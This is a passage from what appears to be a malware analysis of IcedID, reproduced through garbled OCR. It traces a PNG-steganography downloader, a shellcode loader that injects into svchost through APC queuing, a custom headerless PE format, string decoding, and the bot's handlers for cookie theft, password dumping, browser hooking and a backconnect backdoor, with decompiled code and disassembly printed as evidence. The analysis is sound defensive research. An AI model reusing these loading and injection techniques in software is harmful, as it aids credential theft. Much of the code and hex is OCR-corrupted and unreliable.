return ((int (_ stdcall *)(SIZE_T *))}{({char *}vZ + v2[2]))}(v2);

Once the PNG is downloaded, it will be saved on disk and can be loaded again at system

restart. The downloader will turn into a runner of this obfuscated format. In this way, the core

executable is revealed only in memory and never stored on disk as an EXE file.

The “photo.png” looks like a valid graphic file:
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TrID - File Identifier

Portable ¢ Graphics

Preview of the “photo.png”

In this fragment of code, we can see that the data from the PNG (section starting from the
tag “IDAT”) is first decoded to raw bytes, and then those bytes are passed to the further
decoding function.

llsigned int _ usercall decode_png_filefi<eax>(unsigned int alfi<edx>, int a2@@<ecx>, _DWORD *a3, unsigned int *a4)
21

3| unsigned int w4; // edi

4| unsigned int w5; // =dx

5| SIZE_T v6; // 5T@3_4

6

8

9 dnt vil; // [ 1

16| unsigned int wi2; // |

11| _BYTE *v13; // [esp+l8h]

13 vd = alj

14| if ( al < @x5B )

15 return @;

16| if ( *(_DWORD *)(=2 + 87) != 'TADI' ) // "IDAT"

7 return 8;

18| ws = (((*( DWORD *)(a2 + 83) »> 16) | *( DWORD *)(az + 83) & @xFFeeseu) >> 8) | ((*( DWORD *)(a2 + 83) & @xFFee | (*( DWORD *)(a2 + 83) << 16)) << 8);
19| if (w5 > w4 )

28 return 8;

21 vd = a2 + @x5B6;

GetProcessHeap();

29| wl3 = HeapAlloc(v7, Bu, v6):

38| if ( 'vi3 || 'Hecode_buf{(int)&9) || vi3[3] '= 1)
31 return @;

32| *a3 = vl3;

33| *ad = vl12;

34| return 1;

35}
The algorithm used for decoding the bytes:
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33| f

36| sub_4@18eF(vi[1], *v1, (int)vl3};

37| w7 = vi[3];

38| if ( w7 )

39| {

49 v = (_BYTE *)vi[4];

41 LOBYTE(v9) = @;

42 vle = vi[2] - (_DWORD)wS;

43 do

aal  {

45 v2 = {unsigned _ intB}({v2 + 1};
46 vll = vi3[v2];

47 vl = {unsigned _ int8)(wll + v3);
48 vi3[v2] = v13[va];

49 v13[ve] = wil;

58 *v8 = vB[v18] » vi3[(unsigned _ int3) (M1l + vi3[v2])1;
51 ++ud;

= . 73

54 while ( v7 );

55|}

The PNG is decrypted and injected into the downloader. In this case, the decoded content
turns out to be a shellcode module rather than a PE.

88481619 mov
2e48161C lea
28481622 call

ecx, [ebptpchbBuffer]
edx, [ebptpszPath]
load_to_memory

28481627 mov ecx, eax
28481629 test eCx, ecx
00401628 jz loc_4@15A8
] The
i Y
Ll s =]
88401631 mov eax, [ecx+d] ; retrieve the shellcode's Entry Point
aa4el634 add 2ax, ecx
B8481636 push ecx
eed4a81637 call eax ; Call the shellcode's Entry Point

downloader redirecting the execution into the shellcode’s entry point
The loader passes to the shellcode one argument; that is the base at which it was loaded.

The loader (shellcode)

As mentioned before, this stage is implemented as a position-independent code (shellcode).

The dumped sample is available here: 624afab07528375d8146653857fbfo0d.

This shellcode-based loader replaced the previously described (sources: [1][2]) loader
element that was implemented as a PE file. First, it runs within the downloader:
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H15EREDC
E1EBRE30
B1EBREIF
H15BREAS
B1EEREAD
B15EBEEAR
H1E5BEEAE
B1EERBAC
B15BREEZ
B1EBREED
B1E5EBREER
H15EBRBEC
B1EBRACE
B15ERBCE
H1EBRECE
B1EERBCAH
B15EREDA
B1EERE0S
B15ERE0S
B15ERE0C
B15ERE0E
B1E5ERBER
H1EBEBEZ
B1E5EBEBEE
B15BRHEET
B1EEBREER
H1E5BRBEE
B15EREFEA
H1EBREFE
H1E5ERBFE
H15BHEFE
51550104

i

=1

SBEC
S1EC 48848886
Eg?ﬂ a3 aa

=1

=ra

BF24 2628886
&4: A1 2EEEEEER
43028888
ac

ic
SEB26688
F@
Z2CBzea88
28

EE &4

CE45 F7 42
SB49 12

8509

BF34 BFEz8RaE
B2 4DSABEEE
E5: 3981

BF25 B1E2EHER
2BE1 3C

FUSH EBP

MO EEF,ESF
SUE ESF, B-446
CHMP DWORD FTR
FUSH EEX

PUSH ESI

FUSH EDI

JE B1EBA3IEE
MOW ERX, OWORD
A0R _EEX,EER
TEST ERX,ERA
JE B15EA385S
MO ERX, DWORD
MO ECK, DWORD
TEST ECH,ECH
JE B1EBA3IEE
AOD ECH, —E: 1@
JE B15EB28S
MO ERK, DWORD
TEST ERX,ERR

TEST ECH,ECH
JE B15EA385

JHE B1EBE3RES

MOW ERX, BoSR40
CHMP WORD PTR DO5:[ECKI.AX

S55:[EBF+ERE1, 0xG

FTR FS:[Ex38]

FTR DS:[ER=+EHC]

PTR DS:[EA=+@:1C]

PTR D5:[ECA+@:23]

JE SHORT B1SEARETY

MOU AL, BYTE PTR DS: [EAX]

HMOU BYTE FTR SS5: [EBFP-8:91, AL
JHMP SHORT A1SEAGEER

MOU BYTE PTR S5: [EBP-8191, 0:42
MO ECH, DWORD PTR DS: [ECA+8x12]

HOW ECS, DWORD PTR DS: [ECH+E:3C]

As we can see from the downloader’s code, the shellcode entry point must first be fetched
from a simple header that is at the beginning of the decoded module. We see that this
header stores more information that is essential for loading the next element:

00000000
00000010
Q00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
Q00000R0
000000EBO
000000Co

00 01 02 01 B9
88 11 00 00fAacC
90 DL 68 03 BB
0D 4B 31 73 3e
49 56 BC 06 28
3B 35 9B EF 25
F& 58 47 AF 25
07 &C 1% RS TC
DT AZ BS EBE B2
B3 98 AD 1F D8

00 BB

40

oc

49 09 oo[3c oo oo 00]24 os

52 04 00 61 42 09 00 &0 60 06
Ch D6 DO 6E &C 90 &7 82 93 D4
AC AD 84 E2 B3 A5 71 79 Bl B8
76 D7 OC C5 42 31 20 C7 C5 89
§3 OF BC 92 B1 6D 29 SE D7 09
29 B2 AC 37 C& 85 2C 4E 37 19
C6 E7 24 54 BS 61 14 OF TE 45
4D 54 96 97 BC AC 34 43 83 A6
14 3E 70 BB 24 29 @R

3

8B 48 85 C

&

0a

0o

c..all 500050,
..-R..aB.."". -

On. , If8ns.g, "0
VElve-. L Akhav:, T
IVL. (v=.1LB1 CL%.
;9:d%c.54m) £=.b
£XGZIz) 7C.SNT..
.1.%4|EgSTaa. .~E.

shellcode Entry Point
shellcode size

code

As this module is no longer a PE file, its analysis is more difficult. All the APls used by the
shellcode are resolved dynamically:
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eeepavorF lea eax, [ebptvar_78]
\RREET7AZ mov [ebp+var_248], edx
epaea7A3 push eax

BpaeE7AI push 1

PBBBATAE lea eax, [ebptvar_aC)
eeeBavEL push eax
eeepaves lea eax, [ebpt+var_248)

|eepaves push eax

@paea7BC push ebx

@paa8780 push ebx

BpEER7BE push 4

epaea7Ca push ebx

|eeRaTC1L push ebx

\eeBasC2 push ebx

eeepavC3s lea eax, [ebpt+var_1C8)
eeapayCa push eax

epaea7CA push ebx

|eea702 push eax
|eea7D3 push [ebp+var_78]

aapeaTne test esi, esi
The strings are composed on the stack:

eaa88728 mov al, [ebptvar_ 9]
2aae872E lea ecx, [ebptvar 1FD]
2aae8734 push 44h ; 'D’

BEEBET36 mov byte ptr [ebp+var_lCe], al
|eesay3C pop edx

|eeaa73D mov [ebp+var_1Ce+1], "iwh:'
aaeaa747 mov eax, edx

2888749 mov [ebptvar_1BC+1], ‘wodn'
eaaae753 sub ecx, edx

2aa88755 mov [ebptvar_1B&+1], 'yshs'
2aa8875F mov [ebptvar_1B4+1], 'mets’
aapaaied nop

BEeBaTEL mov [ebp+var_1AF], 's\23'
|eeaaTv4 mov [ebp+var_1AB], 'ochcv'
|eeaavvE mov [ebpt+var_147], 'e.ts’
2aae8753 mov [ebptvar_1A3],
eaa88791 mov [ebptvar_14A17, bl

epEea7AR call [ebptvar_54] 3 ntdll RtlWows4EnableFsRedirectionEx

epaee7CE call esi ; kernel32 CreateProcessaA
8ea8a7CD mov esl, eax
epaeR7CF lea eax, [ebptvar_7@]

eeepavle call [ebpt+var_54] ; ntdll RtlWows4EnableFsRedirectionEx

"ex' ; "C:i'\windows\system32\swvchost.exe"

To make the deobfuscation easier, we can follow the obfuscated flow with the help of a PIN
tracer. The log from the tracing of this stage (on a 32 bit system) shows APIs indicating code

injection, along with their offsets:

09c;shellcode's Entry Point
69b;ntdll.LdrLoadDll
717;ntdll.LdrGetProcedureAddress
7ab;ntdll.Rt1Wow64EnableFsRedirectionEx
7cb;kernel32.CreateProcessA
7d6;ntdll.Rt1Wow64EnableFsRedirectionEx
7fO;ntdll.NtQuerySystemInformation
8aa;ntdll.NtAllocateVirtualMemory

21/51



8c6;ntdll.ZwWriteVirtualMemory
8ee;ntdll.NtProtectVirtualMemory
907;ntdl1l.NtQueueApcThread
916;ntdll.ZwResumeThread

Indeed, the shellcode injects its own copy, passing its entry point to the APC Queue. This
time, some additional parameters are added as a thread context.

AHSBEEFT || FUSH EBX
HAZEEEFE || PUSH EBX
HEZESSFS || LER ERH, OWORD PTR OS: [ECH+Ex2]
HEZESSFC || PUSH ERX ntdll.ZwlueusApcThread
BAZESSFD || MOW EAX, OWORD FTR DS: [EDI+Ex5]
BESES9EE || AOD EAX, ECH

HEIES9EZ || PUSH ERH ntdll.EwlueusApcThread
AESES9ES || MOU ERX, DWORD FTE SS5: [EEF-E=3@8] ntdl L. ZwiueusApcThread
FAHSEESEE || FUSH ESI

CHALL ER= ntdll.ZwilueuelpcThread
HHZEE2EY || TEST ERH, EAX ntdll

-ZwlusushpeThread — Getting parameters of the

< [

ERX=rFEF&27E (ntdll.cwlusueHpcThread)

HAEEEESS
BEZFF41E8 BERETEAAC
BEZFF414 BRETEAEZ
BEZFF412 BRGEEEEE
BEZFF41C []5 [s]slsTa 15 5]
BEZFF 428 [5]5 [s]s]sTa 151 5]
BEZFF424 BRBEEEEE

injected thread

Once the shellcode is executed from inside svchost, an alternative path to the execution is
taken. It becomes a loader for the core bot. The core element is stored in a compressed form
within the shellcode’s body. First, it is decompressed.

From previous experiments, we know that the payload follows the typical structure of a PE
file, yet it has no headers. Often, malware authors erase headers in memory once the
payload is loaded. Yet, this is not the case. In order to make the payload stealthier, the
authors didn’t store the original headers of this PE at all. Instead, they created their own
minimalist header that is used by the internal loader.

First, the shellcode finds the next module by parsing its own header:
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]

EEENEEEEENEEENEE NN NN NN NNN.]

[———-

s
edx=<ntdl

0007020A
0007 020C

00070313
00070316
0007 031C
0007 031F
QoOF0322
00070324
00070327
00070329
000703 2E
00070331
00070334
00070336
Qo07F0339
000703 3C
o007 033D
0007 033E
00070341
00070342

00070346
00070348

Mo
pop
ret
mow
cmp
jne
Tea
mow
add
mow
pus
pus
mow
mow
mow
mow
Tea
pus
pus
Tea
pus
pus
cal
tes
qne

esp,ebp
ebp

4
edi,dword
byte ptr d
70608
eax,dword
esi,dword
esi,eax
dword ptr
h 4

h 2000
eax,dword
dword ptr
eax,dword
dword ptr
eax,dword
h eax

h ebx
eax,dword
h eax

h FFFFFFFF
1 edx

t eax,eax
FO06e01

ptr ss:|febp+ajl
s:[edi],2

ptr ds:[edi-2]
ptr ds: [eax+10]

s5: lebp-28), eax

ptr ds:[esi+8]
ss:|[febp-4s8],eax
ptr ds:[esi]
ss5:lebp-1Cl, eax
ptr ss:|febp-45]

ptr ss:|flebp-1C]

Ox70010 = 1188 -> shellcode size

add load base

load_base + size + 8 -»> next_size

next_size

next_img_base

NtAllocatevirtualMmemory

ol

.NtAllocatevirtualMemory= (775F52D8)

00070344

Poumpl | @oump2 | @Y oump3 | @Y Dump4 | @Y% Dump 5 | B8 watch 1 | [*=] Locals | s Struct |
Address | Hex ASCII

00071188 (00 00 00 10[00 00 OO0 00|00 80 05 00|g0 71 04 oo|loeaean. ... q-. -
00071198 | A8 D7 01 00|00 &0 OS5 O0(CO 14 00 OO(04 00 OO OO0 ... ..A.......
000711A8 |00 FOQ 01 00|58 64 O3 00|64 00 00 OO|20 S5E 02 OO0|.0..Xj..d... A
000711E8|04 00 80 01|00 20 &C 00|00 84 SE 02|00 20 6C 00| ..uuw. To.o®,. 1.
000711C8| 00 04 00 10|00 00 CO 61|01 00 A4 CA(D2 00 CO 61(...... Aa..=E, . Aa
00071108 |01 00 20 OO|6&0 05 OO0 CO|14 00 00 &64|2C 04 OO0 CO .. AL .d,. A
000711E5|14 00 00 O4|3C 00 00 CO|00 OO0 00 O0|3C A2 01 10| .. ccSivusansuafes
000711F8|04A 00 00 OO(30 AD O1 10(0OF 0O 00 OO|F8 CF 01 10 R o T eI..
00071208| 08 00 00 00|94 B4 O1 10|08 00 00 OO|EC CO O1 10| ...00 cuvenn Jh. .
00071218|10 00 00 OO(DS C6& 01 10(18 00 00 OO|F4 9E 01 10 P = a
00071228|12 00 00 OO(44 CD 01 10|16 0O 00O OO|(54 BS 01 10 ..DI...... T
00071238 (14 00 00 00|64 CD O1 10|13 00 00 OO|00 00 00 OO|....df..........
00071248| 00 00 00 OO(F3 40 7B GEB|F9 40 3B 34|BC 8F AZ CA|....08{ku=;4..cE
00071258 |16 1E 06 D7 |(F3 E1 D4 C3|B4 87 94 03|26 30 15 7i|...w0abA ...&0.q
00071268| 34 A7 14 B3|F5 E3 D5 C3(41 3IF F9 24|97 63 57 31| 45..0a0Aa70Us. cwl

The shellcode also loads the imports of the payload:
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S D
o007 04EE
o007 04BF
ooOo7O04C2
0007 04C3
o007 04CE
OoO0704CT
D007 04C8

0o0704CC
0007 04CE
00070400
ooo704D2
00070404
00070407

0007 04ED
0007 04E3

0007 04E7
0007 04E9
0007 04EC
0007 04EE
0007 04F1
0007 04F 4
0007 04F 6
0007 04FB
0007 04FD
00070500
00070503
00070505
00070508
00070500
0007 050F
00070510

A

 FENEEEEEEENENEENENENEENNEENNENNNENNNNH NIHN,]

i

&l 00070514

Qg Tas gy ThA
mov word ptr s
lea eax,dword
push eax

Tea eax,dword
push eax

push ebx

push ebx

call dword ptr
mov edx,eax
neg edx

sbb edx,edx
not edx

and edx,dword
mov dword ptr
~« |je 70601

mov edx,dword
test eax,eax

~ | jne FO4ES

mov edx,dword
mov ecx,dword
add eax,ecx
mov dword ptr
mov dword ptr
mov edx,dword
~ | jmp 70593

~ | jns 70534
MOVZX €3x,ax
mov dword ptr
mov eax,ebx
Tea ecx,dword
push ecx

push dword ptr
push eax

push edx

call dword ptr
mov ecx.eax

s:Bebp-a0f, ax
ptr ss:|lebp-20f)

ptr ss:|ebp-60j

s5: febp-4aC]

ptr ss:|lebp-30f]
s5: [febp-204, edx

ptr ds: [edi+10]
ptr ds:[edi]

ptr ss:ebp-4]
55: |[febp-&8], eax

ss:jebp+af, ebx
ptr ds: [eax]

ss:febp-14), eax
ptr ss:[febp-54]

s5: febp-14)

55: [ebp-50]

LdrLoadn11

LdrGgetProcedureaddress

Below, we can see the fragment of code responsible for following the custom headers
definition, and applying protection on pages. After the next element is loaded, execution is
redirected to its entry point.

o007 0SDE
D007 Os5DC

|

push eax
push FFFFFFFF
€dall dword ptr ss:

febp-5&]

NtProtectVirtualMemory

000705EL inc ebx

0007 05E2 1ea edi,dword ptr ds:[edi+11]

0007 05ES cmp ebx,dword ptr ds:[esi+icC]

[EDEENEEE - | jb 7OSB4

0007 0SEA xor ebx,ebx

0007 0SEC mov ecx,dword ptr ds:[esi+C]

0007 0SEF add ecx,dword ptr ss:|jebp-1C]

ISR - = Fos01

0007 05F 4 mov edx,dword ptr ss:|lebp-z2s]

D0O0F0SFT mov eax,dword ptr ds:[edx+1s] edx+18: "aehyt"
0007 OSFA add eax,edx

0007 05FC push eax

call ecx call Entry Point of loaded

< |

ec¥=100171&0

The entry point of the next module where the function expects the pointer to the data to be

supplied:
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| 10017160 push dword ptr =s:[espr4]
10017164 £al1 1000ADET
10017169 pop ecXx
DO1716A test eax,eax
0DO1716C| ~ | je 10047178
1001716E push FFFFFFFF
10017170 E2N dword ptr ds:[<&S5]eeps]
10017176 jmp 1001716E
10017178 XOr eax,eax
1001717 r_Et 4
10017170 | ~ |jmp dword ptr ds:[<&CryptunprotectDatax] IMP.&CryptunprotectData
10017183 | ~ |Jmp dword pir ds:|<&NetGetDCName:] IMP . &NetGetDC Name
10017189 ~ |Jmp dword ptr ds:|<&MetApiBufferFreex] IMP . &NetApiBufTerFree
1001715F « | Jmp dword ptr ds: |<&NetwkstaGetInfos] IMP. &NetwkstaGetInfo
10017155 « [ ijmp dword prr ds:[<&ConvertSidToStringSidas] IMP. &ConvertSidTostringsida
10017198 « | jmp dword ptr ds:[<&RtITimeToSecondsSincels?70=] IMP.ARt1TimeToSecondsSincels7o
100171A1 ~ | jmp dword ptr ds:[<&GetAdaptersInfo=] IMF. &GetadaptersInfo
10017 1A7 ¢ [ Jmp dword ptr ds:[<émemser>] IMP . &memset
10017140 | ~ | Jmp dword ptr ds:[<&vsnprintfs] IMP. &vsnprintf
10017163 | ~ |Jmp dword ptr ds:[<&memcpy=] IMP . &memcpy
100171E9| ~ [Jmp dword ptr ds: [<&InitSecurityInterfaceA=] IMP. &InitSecurityInterfacea
10017 1EF add byte ptr ds:[eax],al
1 1181 add hwres are de: Teamwl oAl
4 L1
dword ptr [esp+4]=[0018F494]=00104261
10017160
3
e lump 1 | @Y Dump 2 ] 24 Dump 3 | Bl Durnp 4 | Yyoumps | & watch 1 | Ix=] Locals | & 5m:t|
Hex ASCIT |
00104261 i 00(6A 19 12 71[00 00 00 00]|2C BC 94 BB|M.v-Je o feu..
00104271 43 3A 5C 55|73 65 72 T3|5C 74 65 73|74 65 T2 BC|Ci\Users\tester)
00104281 (44 65 73 GB(74 6F 7O 5C|35 66 30 30|30 30 2E &5 |Desktop’S5f0000.e
00104291 |78 &5 00 00|00 00 00 00|00 OO0 00 00|00 00 00 OO0 | XBu.sessssasanss

The supplied data is appended at the end of the shellcode, and contains: the path of the
initial executable, the path of the downloaded payload (photo.png), and other data.

Note that described analysis was performed on a 32 bit system. In case of a 64bit system,
the shellcode takes an alternative execution path, and a 64bit version of the payload is
loaded with the help of Heaven’s Gate technique. Yet, all the features of both payload’s
versions are identical.

mov [ebptvar_73], esp

and esp, @FFFFFFF&h

push kzh

call 45 The Heaven’s Gate within the shellcode:
add [esp+4BCh+var_ 4BC], 5

retf 3 switch to 64 bit mode

switch to 64 bit mode

Reconstructing the PE

In order to make analysis easier, it is always beneficial to reconstruct the valid PE header.
There are two approaches to this problem:

1. Manually finding and filling all the PE artifacts, such as: sections, imports, relocations
(this becomes a problem in if all those elements are customized by the authors, as in
the case of Ocean Lotus sample)

2. Analyzing in detail the loader and reconstructing the PE from the custom header

Since we have access to the loader’s code, we can go for the second, more reliable
approach: Observe how the loader processes the data and reconstruct the meaning of the
fields.
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https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/
https://blog.malwarebytes.com/threat-analysis/2019/04/funky-malware-format-found-in-ocean-lotus-sample/

A fragment of the loader’s code where the sections are processed:

—————————— @& 00070248 ~ OF8L B3020 jne 70601
& O007034E 3945 E4 cmp dword ptr ss:febp-1C), eax
---------- @ 00070351 ~ OF84 AADZ0 je F0&01
®| 00070357 BBCE mov eax,ebx
®( 00070359 5945 08 mov dword ptr ssi|febp+s],eax
. I95E 1C cmp dword ptr ds:[esi+1C],ebx is the last section?
Fom——mm e [ DOOFO3EF ~ 76 30 jbe 70391
i ®( 00070361 SD4E 28 1ea ecx,dword ptr ds:[esi+28]
| F———>e|( 00070364 +8B11 mov edx,dword ptr ds:[ecx] raw offset
| ®( 00070366 BB7S F8 mov edi,dword ptr ds:[ecx-8] virtual offset
H @ 00070269 032D6 add edx,esi raw offset + module addr
" L 037D E4 add edi,dword ptr ss:|[lebp-1C[) virtual offset + WA
L SB59 04 mov ebx,dword ptr ds:[ecx+4] raw size
] . 8CDE test ebx,ebx
! ! . ~| 74 ODE je 70383
! | i r 5ADZ mov al,byte ptr ds:[edx] copy byte by byte
Pl g807 mov byte ptr ds:[edi],al
o e | ooo7o379 47 inc edi
N I | DOOFO27A 42 inc edx
o & 0OOFO3TE B3IEE 01 sub ebx,1
1] 1 t----#| O00FO3FE ~| ¥5 F& jne FO375
o © | 00070380 BE45 0B mov eax,dword ptr ss:[Jebp+&]
Ll booosdg @ || 00070383 40 inc eax
! I & 0D0O703E4 83C1 11 add ecx,11 o0ooO711B0 + 11
L & 00070387 8945 08 mov dword ptr ss:lebp+s],eax
i I & 0007038A IB46 1C cmp eax,dword ptr ds: [esi+i1C]
| N————g || O0O7 038D ~=72 D& jb 703264
! & OOOFO3EF 33DB xor ebx,ebx _
T

he custom header reconstructed based on the analysié:'

struct module_hdr {

offset(n) 00 01 02 03 04 05 06 07 Decoded text QWORD image_base;

00001188 ﬁ.. DHUDRD|wmge_§@e;

0001190 1%__~q__ DWORD entry_point_va;

00001198 TR e e [}WDRDimpnrt_clir_va;

000011R0 - S DWORD reloc_dir_va;
DWORD reloc dir_size;
DWORD sections_count;

00001148 FL 03 00/ .d..¥3.. }

000011E0 00 00 ooOf20 =E 02 oof d... =

000011ES8 00 80 01 00p20 &C OO = | struct section {

000011CO 24 EE 02 00 00 o 1. DWORD VA;

000011Ce 00 6l ...... Iila DWORD -

000011D0 01 il ]iE. .Rn?. DWORD ra\"‘:'_foﬁEt;

00001108 |01 C -T..R DWORD .

O00D11ED |14 00 00| &4 2C 04 04 C .d, .. R

000011EE |14 00 00 3C 00 00 00 <. BYTE access;

000011F0 00 00 00 OO0 9C B2 01 10 ....3".. e

O00011F8 O& 00 00 OO0 30 AD 01 10 eea0un

Fortunately, in this case the malware authors customized only the PE header. The Data
Directory elements (imports and relocations) are kept in a standard form, so this part does
not need to be converted.

The converter from this format to PE is available here:

https://github.com/hasherezade/funky_malware_formats/tree/master/iced_id_parser
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https://github.com/hasherezade/funky_malware_formats/tree/master/iced_id_parser

Interestingly, the old version of IcedID used a similar custom format, but with one
modification. In the past, there was one more DWORD-sized field before the ImportDirector
VA. So, the latest header is shorter by one DWORD than the previous one.

The module in the old format:
bbd6b94deabb9ac4775befc3dc6b516656615c9295e71b39610cb83c4b005354

The core bot (headerless PE)

6aeb27d50512dbad7e529ffedb0ac153 — a reconstructed PE

Looking inside the strings of this module, we can guess that this element is responsible for
all the core malicious operations performed by this malware. It communicates with the CnC
server, reads the sqlite databases in order to steal cookies, installs its own certificate for
Man-In-The-Browser attacks, and eventually downloads other modules.

We can see that this is the element that was responsible for generating the observed
requests to the CnC:

camy 1UUUEZES
pop ecx

cmp eax,FFFFFFFF
v [jne 10007078
push &

~ | jmp 1000704E
push dword ptr ss:|lesp+15E&]) [esp+158]: " //data3. php?F72DDFCD7112196A"
push eax

call 1001660C

10007085 mov dword ptr ds:[ebx],eax
pop ecx

pop ecx

cmp eax,FFFFFFFF

During the run, the malware is under constant supervision from the CnC. The communication
with the server is encrypted.

String obfuscation

The maijority of the strings used by the malware are obfuscated and decoded before use.
The algorithm used for decoding is simple:

1| BYTE *_ cdecl decode_string( WORD *in_buf, _BYTE *out_buf)
2

3| unsigned int v3; // [esp+8h] [ebp-Ch]

4| unsigned _intl6 wd; // [esp+dh] [ebp-8h]

5 unsigned _ intle i; // [esp+Bh] [ebp-4h]

6| _WORD *we3 // [esptlah] [ebp+8h]

8 = *{ DWORD *)in_buf;

9 4 = *{unsigned int *}in_buf *~ in_buf[2];
18| we = in_buf + 3;
11| for ( 1 = @; 1 < (signed int)vd; H1i )
12| {
13 vi =1+ ((v3 << 29) | ({unsigned _ int&4)v3 »> 3));
14 out buf[i] = v3 ~ *((_BYTE *}vE + i};
15| }
16| return cut buf;
17(}
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https://www.virustotal.com/gui/file/bbd6b94deabb9ac4775befc3dc6b516656615c9295e71b39610cb83c4b005354/detection
https://www.virustotal.com/gui/file/a5dcfe4896abc176108748289e5a6a85a3ed8528a7c5bf1dafe6f2f6bf826192/details

In order to decode the strings statically, we can reimplement the algorithm and supply to it
encoded buffers. Another easier solution is a decoder that loads the original malware and
uses its function, as well as the encoded buffers given by offset. Example available here.

Decoding strings is important for the further analysis. Especially because, in this case, we
can find some debug_strings left by the developers, informing us about the actions performed
by the malware in particular fragments of code.

A list of some of the decoded strings is available here.

Available actions

The overview of the main function of the bot is given below:

if ( *al =1 )

return 8;
WSAStartup(514, &v12);
init_bot_info(vl);
init_system_info();

o000~

2
21

22| init_heap_buffer();

23| al = @;

24| w13 = @3

25| w3 = to_make_clsid(&unk_1@81946C, (int *)&z1, (unsigned int *)&v13);
26| if ( v3 &8 =1 )

270 {

28 if (viz ==4)

29 {

T v = *(_BYTE **)al;

1 1

32 else

33 7

34 4 = alj;

35 VI o= @3

36 1

37 v5 = @etProcessHeap(@, al);
38 HeapFree(vs, w6, vw7);

39| }

4| else

a1| {

42 4 = al;

43 = @;

a4}

45| if ( v3 )

46 set_flag((int)v4);

47| add_to_logger(l, 1, (int)&bot_init_core, 16, &g pid, &g id, g_ldr_ver);//

43 J/ "[INFO] bot.init > core init ver=%u pid=¥s id=%s ldr_ver=X¥u"
49| exit_if already run();

58| update_and_install{({int)vl);

51| wE = to_init gate actions();

52| add _to logger(l, 1, (int)}&bot init aliwve, v8);// "[INFO] bot.init > alive=3u"

53| if ( !toe_send_info_to_cnc() )

54 byte 1@@55A2E = 1;

55| w9 = proxy_init();

56| add_to_logger(l, 1, (int)&bot_init_proxy, v3);// "[INFO] bot.init > proxy=%u"

57| vl@ = to_search_and_hook_browsers();

58| add_to_logger(l, 1, (int)&bot_init_hooker, v18);// "[INFO] bot.init > hooker=Hu"
59| w1l = run_thread backconnect_session(); // connect to: data3.php

62| add_to_logger(l, 1, (int)&unk_ 1881D78C, v11l); // "[INFO] bot.init > bc=%u"

61| return 1;

62}

The bot starts by opening a socket. Then, it beacons to the CnC and initializes threads for
some specific actions: MiTM proxy, browser hooking engine, and a backconnect module
(backdoor).
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https://gist.github.com/hasherezade/3f1db9cf4629cf6afc09d5ff039fc541#file-ice_str-cpp
https://gist.github.com/hasherezade/3f1db9cf4629cf6afc09d5ff039fc541#file-bot_logs-csv
https://gist.github.com/hasherezade/3f1db9cf4629cf6afc09d5ff039fc541#file-decoded-csv
https://blog.malwarebytes.com/wp-content/uploads/2019/12/main_bot_func.png

It also calls to a function that initializes handlers, responsible for managing a variety of

available actions. The full list:

=
[ e N I
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45
46

By analyzing closer to the handlers, we notice that similar to the first element, the main bot
retrieves various elements as steganographically protected modules. The function
responsible for decoding PNG files is analogical to the one found in the initial downloader:

int init_actions_handlers()
1
int result; // eax
g_actionsLoaded = 1;
if ({ byte_1@88557B4 )
1
dword 18845564 = (int)update pack;
byte 188455C9 = 1;
if ( byte_1@8556B8 && !dword 18@553BE )
1
dword_18845568 = (int)update_loader;
byte 18@455CA = 1;
P
result = 8;
dword_1884556C = (int)toe update urlist;
dword_188455CE = @x181el;
dword 18845578 = (int)to_update_sysconfig;
dword_18845574 = (int)to_update_mainconfig;
dword_18845578 = (int)force_alive_ewvent;
dword_1884557C = (int)set_alive timeout;
dword_188455CF = @;
dword 18845588 = (int)bot_get log;
dword 18845584 = (int)set_log filter param;
dword_18845588 = (int)bot_set_param;
dword_1884558C = (int)add_params_to_gqueue;
dword 18845503 = 8x1918666 ;
dword_18845598 = (int)bot_cmd_del_params;
dword_18845594 = (int)to_get process_list;
dword_1884559C = (int)bot_cmd_sysinfo;
dword 18845507 = @x16168181;
dword 18845584 = (int)dlexec_cmd;
dword_18845548 = (int)omd_exec;
dword_188455A8 = (int)run_cli param;
dword_188455AC = (int)download_and_run_shellcode;
dword_188455D0B = 8x181e881;
dword_18845588 = (int)reboot_system;
dword 18845584 = (int)search_given file;
dword 18845588 = (int)get_given file;
dword _18@8455BC = (int)dump_pass;
word_188455DF = @x181;
dword_188455C8 = (int)to_steal cookies;
dword_18845598 = (int)to_desk_link;
return result;
¥
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37| w7 = e;
38| if ( a2 »= @x5B

39 &% *(a1 + B7) == 'TADI' /4 “IDAT"

48 &% ((((*(=1 + 83) »> 16) | *(2l + 83) & exFFe@Bau) >> 8) | ((*(al + 83) R @xFFE@ | (*(al + 83) << 16)) << B)) <= a2 )

e
Fa
[

8;

al + 8x5B;
w18 al + Bxb63;
v = *(al + 8x53);
! a;

47 ((((vE >» 16) | vi & @xFFe@eE) >> 8) | ((v3 & BxFFBB | (v3 << 16)) <« 8)) - 8;
v7 = decode_content(&v16);

v7 )

B

o mﬁw

F P2 0O F F
(= N |

=

L0
o

o
[
— H
= =l
Lt
L

Y
LI I I

w
B

= =0 P2 R ORD P2
[N

w
~J
e

58 v3 = GetProcessHeap(@, v23);
59 HeapFree(vd, v1@, vll});

Those PNGs are used to carry the content of various updates for the malware. For example,
an update to the list of URLSs, but also other configuration files.

1lint _ stdcall to_update_urlist(int Arglist)

29

3| add_to_logger(l, 32, (int)&unk_ 18818CDC, Arglist);// "[INFO] bot.cmd > update urllist param=%s"
4| return get_and_decode_png(( BYTE *)Arglist, @x12u, (int (_ stdcall *)(int *))}parse_decoded);
5(}

Execution flow controlled by the CnC

The malware’s backconnect feature allows the attacker to deploy various commands on the
victim machine. The CnC can also instruct the bot to decode other malicious modules from
inside that will be deployed in a new process. For example:
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l|signed int _ cdecl decode and_execute command(int al)

21

3| int v2; // [esp+8h] [ebp-18h]

4| char v3; // [esp+ah] [ebp-Ch]

5| char Arglist[4]; // [esp+Sh] [ebp-Bh]

6| int w53 // [esp+9h] [ebp-7h]

7

8| if { receive command(al, &2, 13) != 13 || v2Z != 8x974F814A || v3 == 3 )

9

18 add _to logger(4, 2, (int)&error_bc_data session);//

11 // "[ERROR] bot.bc.data.session > read omd or reconnect cmd”
12 E_ArgPtr = 68;

13|}

14| else

15 {

16 switch { v3 )

17 {

18 case 1:

19 E_ArgPtr = *({ DWORD *)ArglList;

28 add_to_logger(l, 2, (int)&info_ping, *({ DWORD *)Arglist);//

21 /f "[INFO] bot.bc.data.session > ping cmd timeout=¥u"
22 return 1;

23 case 4:

24 add_to_logger(l, 2, (int)&info_socks_cmd, *{ DWORD *}Arglist, vS);//

